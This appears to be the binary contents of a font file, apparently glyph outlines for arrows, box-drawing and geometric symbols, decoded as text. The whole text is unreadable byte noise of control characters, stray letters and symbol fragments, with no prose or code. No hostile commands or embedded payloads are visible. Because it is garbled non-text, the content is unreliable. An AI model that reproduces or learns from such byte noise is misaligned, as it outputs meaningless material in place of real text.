 ��& ��J�x=�*/ke����Ig���-�[����DU	=V�N�ӃPP�b�/4��SC=" ��8g29`R\�	�D�qxx��W�l��C�S/*nOm1���'#3!!7!#7!#3O8y �;�s�L�����!�2y�yy��y��9���'��d'��{���9���'��d'��{���9����'{�d'�X�d&{�����9���'u�d&{��������&t'��u�d��9���'��d&{��������'��d&t�������&u'��d����	���&�'��d����9���'��d&{��������&�'��d����9��&�'��d&{�������&�'��d&u������&�'��d&�����H��&�'��d&�����9���&{���������,����#73#7!#3!1�����K��y�yy�y\����	��#73#7!#3!!!1��	���K�����y�yy�y\�����	��#73#7!##7!###31��/��W��}�����y�yy�#�yy��\�y��m��9n	f�!73###7!##7!#3D����؍���W�?��y�\yy�#�yy�ynf�!73###7!##7!#3%!D����؍���W�?������y�\yy�#�yy�yy�nf�!73###7!##7!#3%!!!D����؍���W�
?��������y�\yy�#�yy�yy����	C�#73#7!##7!#	3!733!	1��]��p���&_����p����
���y�yy�\�yy��5yy�:y\�;�����w�;��	7�	3!73	#7!##7!#3!73!	3��p�����������p�������i��&_�?�:yy;�yy�\�yy�yy��5��7�#	3!73	#7!##7!#3!73!!!	3��p�����������p�������u���&_�?�:yy;�yy�\�yy�yy���5����+�/��U��K�&������'����	
�0��E�L��E�'L
L��E�'L'L
L��E�'Y
L��*�*Y��*X'L�Y��*
b'L�'L�Y��*
l'L�'L�'L
�Y��E�'[
L�����'[����w'L�[����
�'L�'L�[��E�O��E���DF����lG��r�DPL	��') '&547) "!3!3265!	��p�~F�����}F�
����?e�����?�����Zgj����Yh���\����|���,F�|d����#,#7! )73!3265!#6767654�����}F�
�o�����?�����4�����5'Q/\y���Yg���y,G�|d\ңCM���f��3g�U�L	��%9M6767654'3265!#%7#"!37.54776 '&547) !�5'Q0S�
��?�����4����3&R/���?e�
��3�����p�~F�����}F�
�p83g�T�1�;@,F�|d\ҤCN���f`F.d�T��\����|��@ϤCL
�i����Zgj����Yh�����	� #$! ! $'3!26h�c�GYz��E���������(�A�~��o�З�Yd���_��@M�-���D"#63 ! 3326764'&>�Tp:��}Y4����p�`k��/+��'T�i�CM����i_v��/d|�Vq�!# !2#.#"3267ޥ�So�����EFz��G���큖ܕ�K�����ef�@A�������f������1���&�'��u�dL�?8	!#53?�`�4�_�4����
������	!#53%����
�����4��_4�u�h8	5!3#u��4��_4�(�4�c
�c4�����	3%#5��4�c
�c4�`�4�_�4�L�h83#!#53�4��_4����4�_�4�4�c
�c4���
��������%#553%�4�c
�c4���
���*�4�_�4�v�4��_4�.<��	%'7����~%J%��؜E��%J%~<��	%'%7%��E��%J%~<�E~%��%5j��	7%'%�E~%��%5T���5%��%~.j��	'7���5%��%~�~%J%��L�?w!!'!#53!��l�̇�l�~�4�_�4��wK����K(���
���u�hw!3#!'!5!0�l��4��_4��.��l�4wK��4�c
�c4��K(�n�]�#67>3'.'"'"&/'7"Y,-X"A�WV�Bl�l"Y,-Y!B�WV�Bl~%K%���"$#"ACFBm�l"$#!BCGCl��%K%~W�F�#7%7%#&'.#'7>727>�l��%K%~lB�VW�B!Y-,Y"l�lB�VW�A"X-,Y�l~%��%6lCGCB!#$"l�mBFCA"#$L�?8!###5333?�Z�4���4�_�4�74���4���
���4�����!#5553%%���4���
���4����47�4��_4���4�u�h85!333###u��47�4��_4���4�(�4��4�c
�c4��4�����3%%#555��4��4�c
�c4��4�Z�4���4�_�4�74�L�P;!#53!���4�_�4��:����(���
���7���
��d�h;	'57!3#+�ƍ��:�4��_4�(�ɍ
���4�c
�c4L�?8
3#!#53c��<�4�_�4������
������
%!!5!53%������
������Ă4��_4�u�h8
#3!3#Q��Ă4��_4�(����4�c
�c4�����
!5!!%#5����4�c
�c4���<�4�_�4����%!!5!5553%%�����4���
���4�����74�؂4��_4��(�4��L�?�52#!#53!264&
�������4�_�4�k%44�ܵ�����
���4J4u�h�"3!3#!"&63�%44%k�4��_4��������4J44�c
�c4��L�?�!546 +#5!#5	3264&"!�6����Y�ʂ4�_��Y%44J48��Y����������
���4J44%u�h�3#!#5#"&6 )54&"3�4��_4����Y����6��4J44%8�c
�c4������YY%44J4L�h8-2327623276;3##"#"'&"#"&+#53�'$'3;�;3'$''�4��_4�:=QFGZGFQ=:�4�_�4�&4����4&4�c
�c4Z����Z���
���L�hw3#!'!#53!�4��_4�����l��4�_�4�n��l4�c
�c4��K(���
���sK��_����
%'7ԃF	�!
��	M����^�K4���3��dF'�����!#!#53�����4�_�4��A���
��
�3#!#��4��_4�����4�c
�c4�������#53!3��4�_�4�����
����A��
�!3!3#����4��_4��4�c
�c���%#5!5!�4�c
�c4�I��4�_�4��-m^4#53!3��4�_�4������
�����m�!��4."7#5676$ a�Ĩ1 ��
���?N
<
�Fb�aaT8>p4�_�4u}l������!�#4$ 7#5&'."�ܜ
<
N?��
��� 1�ĨaF�
���l}u4�_�4p>8Taa�<��5!!1'7��j����~%J%����ќE��%J%~��u��?�'����^�c��#"547327654''7�������kkk��kkB?%J%���V��i��jllk�t[�$J%�c��'7%'327654'7#"'&54��%J%?Bkk��kkk������B%J��$�[t�kllj��i�������F(?853!F4�<(
���F�?!!#F��Ă4�������3%#�
������4������#5�����<�4u(n8!5!3n�<�4(�4��u�n#!5n��4���
��4�����3%��4��/��Ă4�������#53�
��4�/4�<��L��h�'B��D^��Z��Z�'C��E^��L��h�'D��B^��L�2?�'B�>B�������'C�>C���u�2h�'D�D�>��������'E�E�>��F,n's�8n���F,n'r�o�8L�?w!!!!'7##53!7!��,��B-��G�,�84�_�48ȉB�-&&wKyô��Ky��
�����ZZL�hw!3'3#7!'7##53!!!%!7'��,�84��_48��G�,�84�_�48dG��&&-,Bo&&wKy��c
�c��Ky��
���ZZ��ZZu�hw3'3#7!'7!5!7!5!!7'0�,�84��_48�8G�,�\�B��t�B�&&wKy��c
�c��Kyô�ôZZL�?8#53!!!�84�_�48V�X&&�y��
���ZZ����53'#'#=��
���ZZ�V84��_48���&&�Xu�h8'3#7!5!7'!5�84��_48���&&�X���c
�c��ZZ������7#5373w��c
�c��ZZ�t84�_�48V�X&&�L�h8'3#7!#53!7'!�84��_48�84�_�48R�&&�z&���c
�c���
����ZZZ�����7#553'%7'w��c
�c���
����ZZZt84�_�48�84��_48R�z&&�&.��/�'7�7%J%����[%K�х%J%7��K%[��������'7%''/'��%J%7��K%[���d7%��%���K[%����j�k7%'77?7(7%��%���K[%���[�%��%7���%[K�.j/k%'7�%��%7���%[K��7%J%����[%K�L�?�%#53!!!!!!!4�_�4)G�w$��S$����
y�j�j�u�h�%7!5!7!5!'!5!'3�)���$�S�$�wG)4��_�y�j�j�y��
��L�?83#'!#533�����J��K��4�_�4����*��Y��+Y���
���u�h833#!'#537����4��_4���K��J������4�c
�c4Y��+Y������!#!5!5!5!53%!!!!��������
���������P�4�4��_4����P������3!!!!%#5!5!5!5!������4�c
�c4�����j�P�̂4�_�4�4�P�L�?8#5!#5!##53!#5w���t�4�_�4�<��������
��������#53#53#553%#53��������
�������V�Jt�4��_4����u�h853!53!533#!53=�V�Jt�4��_4����(�����4�c
�c4�������3#3#3%#53#������4�c
�c4�����t�4�_�4�<�u�?8!###333!?���4����74�(��4����4��u�?8!333###!u�47����4���4������4L�?8!55!!#53����d��=�_�=;E��E����
�����%3'3!#53#�E��E����
��d���d=��_=u�h8!7'!!53#5����d=��_=�E��E�R��c
�c������#7#%!3#53�E��E�R��c
�c�f����d��=�_�=���%5!!!'3'3!#53#������dE��E����
��d��d^�S��dS=��_=�+�
%3!53#53#'3'3#!5#c�^ș�
��dE��E�����=��_=d��22�+�3'!3#!5#73!53#53#3'�E7��7E���d�^ș�
�����Py77�22d��=��_=�Q�+�3'!5#73!53#53#3#�E�;�d�^ș�
���ŸE�y��12d��=��_=�OϺ�2���)#57#53##3'373!3'3c���
����cD��D�
�JE��E>=�=��_=�=;��H>���+�%%3!53#57#53##3'3733'3#!5c�^ș���
����cD��D�
�E��E����D=�=��_=�=;��z���22u�hg
#3!53#577'!5#35o��=��_=d��22���ș�c
�c�dE��E�&��"�3!!%'7����ٜ��~%J%���x��؜E��%J%~��!5!7%'%�{
�'�E~%��%5��sx؜��5%��%~�����3#53#53#7#3'3c��c
�c���
���E��EE��E��=�_�=`=��_=�<��(��u�h8!)5!6762!3#!"'&')276%!&'&"ug/X�X/�4��_4���/X�X/���3�3��3�3(�9.XX.94�c
�c49.XX.933�33��Z��Z�'C^E��u��hJ	5!'3#75!'3#75!'3#7u�<4[��4<�`�<4[��4<�`�<4[��4<�ܼ��
�ۼ��ܼ��
�ۼ�ܼ��
�ۼL�?8!#!#53!3?���O�4�_�4��������
�����u�h83!3#!#!5!����4��_4��O����4�c
�c4���L�h83#!#!#53!3�4��_4������4�_�4�M�4�c
�c4�����
�����L�?8!###!#53!333?�j�P�̂4�_�4�4�P��������
�������u�h83!3#!###!5!33�4�4��_4����P�j��P��4�c
�c4�������L�h83#######533333�4��_4���P�Ђ4�_�4���P�4�c
�c4�������
�������L�?8%!#53��<��=�_�=�P�n���
���u�h875!3#���=��_=>���n�4�c
�c4L�h87%!3#!#53����'`=��_=��=�_�=>����P�n4�c
�c4���
�	�
3#3p������T����+���L���F(>54&"#"&54632#"&54324&#"32�4X�:*:�|������f�MHe�MIe��c�Bds�<+@l����F��W�t|���uy�A�!5!!5!!5A�O�5�5�+�������
A�!'7#53#5!!5!73!A�|A�2?}l�&l�n�B�2=l��l`�+�<������<��o����n�)��%!	3�����d�d�����+)��	%!#}{�1�����b���+�!"!!3!!"$$3�Ho�8D��8�o��H��ج�(��o_,0�/+_o�(\(���"*3#!!23!!"'''&$;7##";�JJ�l
��k	��H20j�h���(�y��P�/�l%o�8O��������OV(\(��,�/+P�*o_,0�35!26767!5!&'.#!5!2#��o�8��D8�o�H��(���خ�o_,0�/+_o����ج��"*'7#53!5!"#!5!2+3&'&326767��JJ�l��^k	�H�20j�h����خydP�/�l%o�8��O��*�(�"O��V����ج��/+P�p��o_,0/�w��!#3!53!3!53#/X���F�����F���T�^TT��^TT�/�w��!53#5!#!#5!#3�������F�����wT�TT�^�TT�^�w��!#'.#!!26?3!5	ӋX\S~����!v0"
HX���6����S�4+��)�X&��G�����!!�������!!!!#!5!���������q���f�f��s	4632#"!!#!5!�pNOppON�����g�pp�oH���f�f���\�B�����^
%#'-73%���hb�����bi��bH�H*����{������x��JM�&"265$632 &�MnKKpK�C���������NLpJK6��������JM�	632 &ٶ�������������H��D�
3##'%u�g��d�ɌK�����Z3qt�kH��D�
53##'%>32#"&'5332654&+532654&#"u�g��d�ɌK�4X�@��ifx|��P�P`VOX]b[)QWNHBP`����Z3qt�kidH^o]z{�POVRPWTD@?FI@B��Dl
3##'%!535!533#3%u�g��d�ɌK��}��{���}�w�����Z3qt�k�^yX��^y�N������%.#"326"&'#"&54632>3"3�.zN]vlQK~�F�\E�`����]�XD�_#|F-{=�LJqXUqt��q��}밸�u����r�KL����/32654&#".#"326#"&54632>32#"&�-{N^ulQJ|�.zN]vlQK~�E�`����]�XD�_����]�1KLoYVqr$LJqXUqtE�}밸�u���찷�q���r%!3!�0������r%!3!�0���4���8��#�����e��8+�'37#���J樢���֨�J��c�����|�8c�###c�����e��e��8�#'3737#w�怢"�怢������O��#T�����6����5J�!!!5E�G������T��5J�!!!5f��g���w����T��!#4."#4$ ��o�޾o�(\(��o�oo�o�~��(���خ����32>53 $5��o�޾o����ج�~o�oo�o��~��ج�(�1��q)26732#"&'&'&'"
#"&54632Vf��bwL>.>
c('8�z`yNB2F��K��bP<I0,".��t>���f��bN>J?(:��1���'� ���1��
�'�@'� ����4632#"&!!�X=>XX>=X����=XX=>XX���{��4632#"&4632#"&!!�X=>XX>=XX=>XX>=X�)r���=XX=>XX�Z>XX>=XX!��{��#/34632#"&4632#"&4632#"&4632#"&!!�X=>XX>=XX=>XX>=X�X=>XX>=XX=>XX>=X�)���=XX=>XX�Z>XX>=XX!=XX=>XX�Z>XX>=XX!��{��+#"/&#"5632327%4632#"&4632#"&ۿ�e�)�_����_�)�e����X=>XX>=XX=>XX>=Xr�D9�Ψ9D��=XX=>XX�Z>XX>=XX���@#"/&#"5632327ۿ�e�)�_����_�)�e��r�D9�Ψ9D����@532?632&#"#"ٿ�e�)�_����_�)�e�rΑD9�Ψ9D����!!#"/&'&#"5>32326���]�e_�
�aM�``�d_��eM����US:
BGJ�VQ9
DH�-�!!#"'&'&'&#"5>32326���]�e_�	
�aM�``�d_��eM����VR9BHI�VR9
DH���9#"'&'&'&#"5>32326#"'&'&'&#"5>32326�]�e_�

�aM�``�d_��eM�`]�e_�	
�aM�``�d_��eM�o�US:BGJ�VQ9DH��VR9BHI�VR9DH�-��	
4632#"!!!!�pNOppON��������pp�o������H��	4632#"4632#"!!!!�pNOppONppNOppON������I�pp�oh�pp�o������H��	4632#"4632#"!!!!^pNOppON�pNOppONp����I�pp�oh�pp�o������H��	4632#"4632#"!!!!�pNOppONpNOppON�����I�pp�oh�pp�o��������$	4632#"4632#"!!!!�pNOppONppNOppON������pp�o���pp�o.������$	4632#"4632#"!!!!RpNOppONppNOppON������pp�o���pp�o.������!3!!!'7#5!7!�����V�b���������5}�����������I!!!!!!���������r������
%!5
5���y����������P�P���
55%!!�����y����������!"3!!"$$3��o�oo�o�����ج�(��o�޾o�(\(���35!2>4.#!5!2#��o�oo�o����(���خ�o�޾o����ج��� !!!#'7&'&$;	#"����-��g�Y.-���(��g�J��!�o�oo_����O�V(\(�O��o�޾7��� 35!!5!3+'7	32>4&'&�+���g�Y.-����خ�g�Jj�߉o�oo_�8�O�V����ج��O���o�޾7�Q��7!!!"3!!"$$3�����o�oo�o�����ج�(�7�b�o�޾o�(\(��Q��7!!5!2>4.#!5!2#����o�oo�o����(���خ7�^�o�޾o����ج����	!#5332>53 $5��b<4��=4<���o�޾o����ج���9
9���~o�oo�o��~��ج�(�����32>53 $54632#"��o�޾o����ج�pNOppON�~o�oo�o��~��ج�(�5�pp�o����3##5#53532>53 $5��������o�޾o����ج��������~o�oo�o��~��ج�(���%!!!!��������!!5!!��������6�Q��7!!!!!!�������7�`���Q��7!!!!5!!�������7�b���6��3!#!���������!3!���6������#+$  $!676767!%&'&'&'ج(\(�������c/,_7��7_,/�/,_7��7_,/�\(������ج�b7_+/�0,_7��7_,0�/+_7����$  $!2676!&'."ج(\(�������b��7�޾7��7�޾7�\(������ج�b/+_oo_+0,_oo_,��!$  $7'2%654'7&"ج(\(�������m33�i��\��33����\��\(������ج��\jk\����3�\kj\�j��3��$  $	32>54&#"ج(\(�������?��\jo�o�\ko�o3�\(������ج����3o�oj�3o�ok\��	!4632#"2>4."$  $�pNOppON��o�޾oo�޾���(\(�������4�pp�o,޾oo�޾oo�%\(������ج���*&"265$632".2>4."$  $�7O66P6���lg��Տ�o�޾oo�޾���(\(��������86Q56'j��gi���޾oo�޾oo�%\(������ج���)'#'7'7372>4."$  $���b���b��b���To�޾oo�޾���(\(��������XZ������ZX���梇޾oo�޾oo�%\(������ج���!!!!&2>4."$  $P����o�޾oo�޾���(\(�������B��/޾oo�޾oo�%\(������ج���!!&2>4."$  $x��`o�޾oo�޾���(\(����������޾oo�޾oo�%\(������ج���!)!!!!!!�(���(�(���������(���(����(����!!!!���6�����(���(�����	%!!	!		!�����������g���~������c���g���	
4632#"!!!!�pNOppON��6����4�pp�o�6���:�3!!#���������:�#!5!:���+{�z���!!#!���|�|��^����35!3!�������^���3!!#��[��������3!!!!#��[��[����N��M�:�3!!!!#��������N��M�:�!#;!!#����������:�!#3#;!!#�������a����+������3!!!!+3i���������N��M��:�3!!!'!#��������c�o�����ub���b���:�3!!!!!'##7!��?��p�(R*�n�����9R�U�N�b����RbL�M����:�!#;3!!#'����'����˼lu����ub���m�b����!#;!!!!!'7#7#?#����L?��8�`R���G>�))�R��N�b����Rb�[Xర����7'	δ��������������
V�	4632#"�pNOppONy�pp�o��	3	%!	���\�� �!�C����|��N���!#!�7����x�V���z	!#7y����K����xN��!3Obb�����"�Vx���z!73!���Kb��x����!#�����{h�I,$%%$�nn����������!"�������nn������8����ʸ��'+6@KV#"&6 3546 +32 &=# &6;5#'54&#"3!3264&#"32654&#!#"3265�����˭��ʏ������ʭ���ʏ�����eHGeeG��HefGHefGHefG�M�GeeGHe`��ʏ������ʭ���ʏ�����˭��GffGHef�ffG�M�GeeHGeeHGeeG���!3!���h�{�qf477632#"&'&'&#"�jk�bwL=.>\������bP<I0-".���#�<-���0#"&546323265�jk�bwL=.>\�����bP<I0-".z�#��T�!!!!%!!�P����r�6���L����+x�#/;GS_kw�����������+7CO[gs����������!2#!"543!254#!"+"=4;2+"=4;2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;22+"=4#"=43+"=4;2+"=4;2"=43!2#U���ݓJ�II�J%J%%J%�%K$$K%J%J%%J%�F%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%�%%�%�C%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%$%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%$%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%%�%%�%%%%�*$%%�%J%%J%�%K$$K%��%%%%��������JJJ�I%%I&%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�%��%%� %I%�HJ%%J%%J%%J%�%J%%J%�.
�!7!!!!�P��,Q�Q,��P�.��b��b����m!5!��ݠ�������r�0����p�������!!�#����v����!&5����Ơ���T��_�C�������m5!]��������p� g�������]����!0�����v	�����!!]#�ƚ�ΐ���,������U����m!!!����#��	q�������!!�#����v����!!�������	r����m!!]�#��N#��]����!0�����v	�����!!!]#�����#s��Xm
!4763!!"���{z���f+!��u�����0%����y!4'&/32765!�9+e��n:�==�@ne(� =���F��|AEu���H���<s�Xy
3!!"'&5�!+f���}{y���%0��Ws���y!!�����	�����m
4'&#!!2s!+f���z{��}�%0�����s�Xy&'&!;!76<<(en@�==�:n��e+�!<���T�uE��A|��R��=���y
!#!!2765s{}��f+!y�����0%����!��	��z���!	!!��
���$�<�7�.>�3!38|�P�P�|�.��b����j�5!�j�����l!�X�����3��	����!�@�	��<j�5!!5!!5!r#�B#�B#j������<�l!!!!!r#�B#�B#X��X��X���m�333������mj��j��j���m!!!�@��@��@�mj��j��j��<j�53353353353<�x�x�x�j��������<�l3333333<�x�x�x�X��X��X��X���n�3333�������p��^����^���^����^�n!!!!�@��@��@��@p��^����^���^����^��!!�������l!!��l������!!��#������l!!��#�l�������!5!���j������l!!���X����!5!�$�j�����l!!�$�X��j��3!�-j�����3!�-m���j��!!�@�j������!!�@�m����j��5!3,�j�k������!3,�X����j�5!!�@j�k�����!!�@X�����3!!�-��	���������3!!�-��	��������	#!!!P@��j��������	33!!�P�-�#�k��������!!!�@�#�	���������	#!!!P@��m�������	33!!�P�-�#�l�������!!!�@�#�	���������!5!3��,��j�k�����!!3��,��X����	!5!!#���@P�j�k�����	!5!33�$,�P�j�k�������!5!!�$�@�j�k����	!!!#���@P�X�������	!!33�$,�P�X�����!!!�$�@�X����!5!!�����j�������l	!!!!���-��XV������l	!5!5!!��,��j�V�������l!!!�����X�������!5!!�$��#�j�������l	!!!!�$�#�XV������l	!5!5!!�$��#�j�V�������l!!!�$��#�X������j��5!3!,�-j�k�������	!3!!,�-��X���V����	5!3!!5,�-�3j�k��V����!3!,�-X����j��5!!!�@�j�k�������	!!!!�@�#X���V����	5!!!!5�@��j�k��V����!!!�@�X������#!5!3!����,�-j��j�k�������!!3!!��,�-��X���������!5!3!!��,�-��j�k��������!!3!!��,�-��X��������!5!!!!���@��j�k���������!5!3!!�$,�-�#�j�k���������!5!!!!�$�@�#�j�k���������
!!!!!#���@�#P�X���V������
#5!5!!!!P�$�@��V�k��������
!!33!!�$,�P�#�X��V�������
!5!533!!�$�P�-�#�j�V��������!!!!!���@��X��������!!3!!�$,�-�#�X��������!!!!!�$�@�#�X���������!5!!!!�$�@�#�j�k��������!!!!!�$�@�#�X����<j�5!35!<�y�j����<�l!!!���X��X������33���lU���TT�����!!�@��@lU���TT�������5!5!���������x�X�333x����	��	�����	!!!!��-��¬���Bx��	!!##xm�s������j��x���!!3!!xm�3�-�s�¬��j��B����	!5!5!5!��,��������>��X	5!###l���j���j��j��X�!5!!!5!��4l� �t,���>�������	3!!!�-��-��A���xj��	333!x����j��k���x���3!3!�������k�A����������	5!5!5!3,��,�������=��jX�	5!333����j�k��k�����X�5!35!3����̠��������=���3!!!!�-��-��	��A����Bx���333!!x�����s�	��	������x���	3!33!!�������-�sk�A���	��j��B����!5!5!5!3��,��,����������X�!5!333x�t�����j�k�	����X�5!3!5!33����t,������������	������!5!!5!�����4������B�����5!!###��s���j����j��j����	5!!5!3!!����t,�-�s��������j��B�����5!5!3!��,�-���X���A���j��5!333!�����j�k��k��������	5!5!333!����������X����k�A�����!5!5!5!3!!!!��,��,�-��-��������A����B����5!333!!###������s���j�k��k�����j��j����!!!!5!5!333!�-�s� �t,��������j��B��������k�A���43!!"��y��Y[�p��~|�����4&#!5!2[Y��x���p~|�������j��5!2653#xY[���j�~|q����j��!"&533!����[Yyj��q��|~���*m3YѲ�/�	Y�����*m#3*��/��	Y���*m#	#	3	3*����i������������S��jh5!|j�����3����?hj�5!h}j�����3����@��hl|X�����!�@���?h�l!h}X����!�@���@���l5!5!!5�i��j�V��V��333�P�P����?�@���l!!!�i��XV�V��#!#P@P����?�@�����;�	����;�?!O�?����;j!O�j����;�!O���k��;�!O���@��;�!O����;!O�����;B!O�B����;�!O�	����q�!��	������!��	������!�	�����!'�	����I�!]�	�����!��	������3�	�����:�	�'�bm#'+/37;?53!5353!5353!5353!5353!5353!5353!5353!53�(���'�O�'���(���'���(���'���(����������������6����7����5����7����6����(�'l#'+/37;?CGKOSW[_cgkosw{��������#5353353353!3#%3#%3#%3#3#5#53#53#1#53#1#53#75353535313#3#3#3#75353535313#3#3#3#75353535313#3#3#3#���������b�����������b����������������������������������������������������������������~�������������������!���������������������������������������������������������������������
�'m59=A35#%35#35#%35#%35#35#35#35#35#35!35!#5#!5#35735#35#�����������������w�������N�O�����������Ŷ�Z���X�Y���I6�����������������Z�������B;�	�B��q�:�	�����!(���@���;�	�'������	����;�!!!;��('�	��@����;�'	��	�'��;�!!;�����@�@	���;�!!!O����������;�	�'�����;�&	�	�'���;�!!'(��������%!�� �����%!!!,7��r�<�R �����%%3!254#!") ) ,�o���rVoV������Z��t��tV�����������%&	�	����%!%!5!5!5!5!5!5!5!5!5!��W7��7��7��7��7�� ��r�r�r�r�r����%!%3#3#3#3#3#��ᰰ�ܲ��ް��ܲ��ް�� ��t8��8��8��8��8���%#'+/37;?CGKOSW[_cg35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#!L��$��"�������������� ��������$��������"��������$�����������������ܮ�.��,��,��.�ܮ�.��,��,����.��,��,����.��,��,����.��,��,��.��� �����%
!33775353535��W������!����y�B��ߢ�|�� ��T���}���<�B��� ���������%
!%353555#5#5#57#��������!��y�y�B�����|�� ��r������!�����C����}�����%	 $(-159=AFKOSW\aejos7'#7'7'#7'7'7'#7'7'7'75#7'7'7'7'7'37'75'7'7'7'37'75'7'37'35'!,2|5y2~~2O~~5���~|~�2~~2�~~5���~}}��}}~��~~~�}1y��|~|��|~|��}||��|~|��}}|�z4|2�~12��~~~��~|~��~~~��5�4~�}22��~}~��4�5~4z2��31|4��2~~1O~~4��~|~��1~}1�~~4��}}~��~}}��~~~�|1��|~|��}~|��|||��|~|��|}}��4|1�~2�1��~~~��~|~��~~~��44~~1�1��}|~��44~~41�� ����7!������%!!!,��r���v������%!!��������!!!c�������r����"!�������"!!!,��r�8�V���!�%!!��n�����!�	!!!b�S���n����r��!%	
� ���!%!	�����
��� ���7	�����7!	��������������!%� ���!%	x�;rRff�� ���7����7	x��^r��SS����!7��!7	x��tr�SS�����!%!��$���!%	%!�bc������6�r���!����	%!�QQ������Z�r��!%���!%	��W�����������	���z��������!��!		#��W��������!%	
������!%	�uv����
����xx������!%	>��+��uv����
���)�)��xx�����p���)
)$7632#"'327$%&#"%632#"'��~�~��~�~�eM����M�������>�������y�����J�JJ����JJ6��``���``����qq�|�qq�#�u	�����������9%���-p���)
327$%&#"%632#"'�M����M�������>�������y�������``���``����qq�|�qqr��'	'/7?G%&'&'6767&'&'7%'676727"'64'7&"'62&47\+;.81F9K5�8.42d;E9G�,:.80G9J6�&8.;+d1O9F�L�L&_�`Jn��L�L'`�_��n�<1& j(0=Ju &,A=N:0('<1& j(0=Ju &1<>EB0(��n_I�I'[�[Jn��I�I'[�[p���)
%/36%632#"'327&#"6767&'&6p�������y����AAAA����,+-,,-+�A@@�R��qq�|�qq��%�%m��ܱ[��0$�
%@%��|�"p���)
)73276'&#"7632#"'327$%&#"%632#"'�r99:9rr9:99�XWXX��XXWX�M����M�������>�������y�������B!!BB!!�o�e33e�je33���``���``����qq�|�qqp�� $  $p�k�k����]��A�k����^����p�� $  $27$%&#p�k�k����]��<��M����A�k����^����a`���`p�� $  $"3p�k�k����]��<����M��A�k����^�����`���`p�� $  $%&#"p�k�k����]����������A�k����^����>�``���p�� $  $327$p�k�k����]��\L����LA�k����^����>���``�p�� $  $"327$!p�k�k����]��<����M����M�gA�k����^�����`���``�p�� $  $"!p�k�k����]��<�����A�k����^�����`���p��})6%63"'p�����R��q��q����)#2�y�����|�q*q����(
2654&#"!����|~�����}��}|���v<����	(
$%632#"'327$%&#"!IM����M�������>�������y����_O���``���``�|�qq���qq�H(���	(!#%&#")%632�O�y����y���M����M����qq�>~�``���	3327$3!#"'$��������@1����������>�qq������``�)	%63"������qv`���)	2#%&#���u����)q�>�`��	527$3��Mu�y��v`��>�q��	"'$33��yuM����q����`p�)%632#%&#"p������u����������qq�>�``���p���03327$3#"'$puM����Mu�y����y���``��>�qq��!%� ���!%� ���!%!� �!%!$��3��!
2654&#"4632"&n�Ȋ�ce�;�~|�����d��dc��c|��|}�����%!%!!�����d� ��r<���%!%!!��W��e� ��r<���%!%!��W7� ��r<���%!%!��W7�� ��r<���%!%!!!!��+c���,b��� ��r<��<�!%

4632"&!	W>>VV}V�2����
j>VV>>VV�J�� ���!%!	c����
��� ���!%!	�b��
��� ��p��( 7& $  %������;�<������������������*����X�֖����%	
!!!!!!,7���,r�Wb���<�)�) ��Ie���%	
!!!!%!!,�c��r�Wb��M�)<�R ��re���%	
!!!!%!!,b��r�+c����e�R ��re���%	
!!!!!!,7�+��r�+c���e�R ��Iep�� $  $!327$%&'p�k�k����]������]��4����M����A�k����^�����O���r���``���O�+p�� $  $67$%&#"!p�k�k����]��u��M���������14��A�k����^����^O���``���r���Ocp�� $  $!%&#"67$!p�k�k����]��\M����̦������4��A�k����^�������O�T�``�%O�Tp�� $  $327$!%&'p�k�k����]��\M����4�0����̉�A�k����^�������``�T�O��T�O���!%7!!x��tr ��R �!%	%!#��W��n�r���!%!x��tr���� ����y��!!!,L��r0R�<6����y��!�0�6�����"K%!!!,��|rhO��n�����"K!�h#n���!%!	#��W���� ��	���"*2:AI3#''%#&'52#"'&5476!!'5%!!'53'5%3'5%3#'sMM7:�=���=�-0�Y
�G.�b#�C�KS��uY��G�r=���;�>MM���^�?�?�@�7��`�d�?\�g��OOOO��y>�*<�?v��^
���<BHNTZ`fl3264'&#"&7367'67675673#''5&'&'7&'677&'67'%%&'&'%6767%&'�0/CB^0/AC/�88pkTcR|�NO��OfUip88pqUfO��NN��QaQh�!$�b�)�d����L�Q�k
��K��R�t!%�c�'�d�&�//^�000�NN�|P_Pfp88poQ`Qy�NN��P\Qgp88pmQ\Py�,

M�
�N�>&�`�7"
b�K*�V�&"�g{���M�	�M���!)1! ! 3254#"&#%#7&'67&'67��67��K���J�]��_������V�NEWMCe2ntj��nti�7��I���L�6���a��]����
��]���pu	otpu	ot���!)1! ! 3254#"3$3&'67&'67��67��K���J�]��_������T�NE����Ag�ntj��nti�7��I���L�6���a��]���	��U��ypu	otpu	ot���%! ! #$''&'6%&'6��67��K���J�O��R`�������������7��I���L�0�c���Z�
��		��
��		
���"*2:AIX3#''%#&'52#"'&5476!!'5%!!'53'5%3'5%3#'32765'&#"sNN99�=���>�-1�\
�H0�e%�F�KS��wZ��G�r=���;�=NN$�E| 1�	?�'���_�>�?�@�7��`�d�@\�h��PPPP��y?�+<�>w��_VG{?,rC�A���0:�1@7#'#53'&'&54767&'&=33676=3#32654'&i($��l�������m��$(($��[Uu&tU[��$��&uU[���[UV$���|d�d��b�
e|���$%��
�ZSSZ�
��%_TY������YT���*�$4&#"326&5432%##5!&w衤�礡��P��P������������䤣�����L����~��~�|	���*�$"32654&'#5!3%#"5476��礡�������𳉧�������פ��㤤ף	|�~��~���L������#&$76+"'&5'476%7!�t��tsstEus������pi�����d5s
qt��trtt<�֤���ꧦg\���u��l�9S��52654&#"#43233#!5
